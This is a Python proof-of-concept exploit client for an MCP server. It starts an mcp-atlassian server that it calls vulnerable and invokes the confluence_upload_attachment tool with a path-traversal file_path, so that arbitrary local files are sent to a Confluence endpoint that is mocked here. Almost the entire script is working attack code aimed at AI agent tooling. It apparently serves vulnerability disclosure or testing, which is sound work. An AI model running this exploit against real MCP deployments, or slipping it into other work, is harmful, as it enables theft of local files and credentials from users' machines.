#!/usr/bin/env python3 """ Real MCP stdio client. Launches the vulnerable mcp-atlassian server, calls tools/list, then tools/call upload_attachment with a traversal file_path. """ import asyncio import json import os import sys from mcp import ClientSession, StdioServerParameters from mcp.client.stdio import stdio_client async def run(file_path: str, mock_url: str, mcp_bin: str) -> int: env = os.environ.copy() env.update({ "CONFLUENCE_URL": mock_url, "CONFLUENCE_USERNAME": "test", "CONFLUENCE_API_TOKEN": "test", "READ_ONLY_MODE": "false", "ENABLED_TOOLS": "confluence_upload_attachment", "MCP_LOGGING_STDOUT": "false", }) params = StdioServerParameters( command=mcp_bin, args=["--transport", "stdio", "-vv"], env=env, ) async with stdio_client(params) as (read, write): async with ClientSession(read, write) as session: await session.initialize() tools = await session.list_tools() names = [t.name for t in tools.tools] print(f"[client] tools loaded ({len(names)}): " f"{[n for n in names if 'upload' in n or 'attachment' in n]}") print(f"[client] calling upload_attachment file_path={file_path!r}") try: result = await session.call_tool( "confluence_upload_attachment", arguments={ "content_id": "123456", "file_path": file_path, "comment": "poc", }, ) print("[client] isError=", result.isError) for c in result.content: txt = getattr(c, "text", None) if txt: print("[client] result:", txt[:500]) except Exception as e: print(f"[client] call_tool raised: {e}") return 2 return 0 if __name__ == "__main__": file_path = sys.argv[1] mock_url = sys.argv[2] mcp_bin = sys.argv[3] sys.exit(asyncio.run(run(file_path, mock_url, mcp_bin)))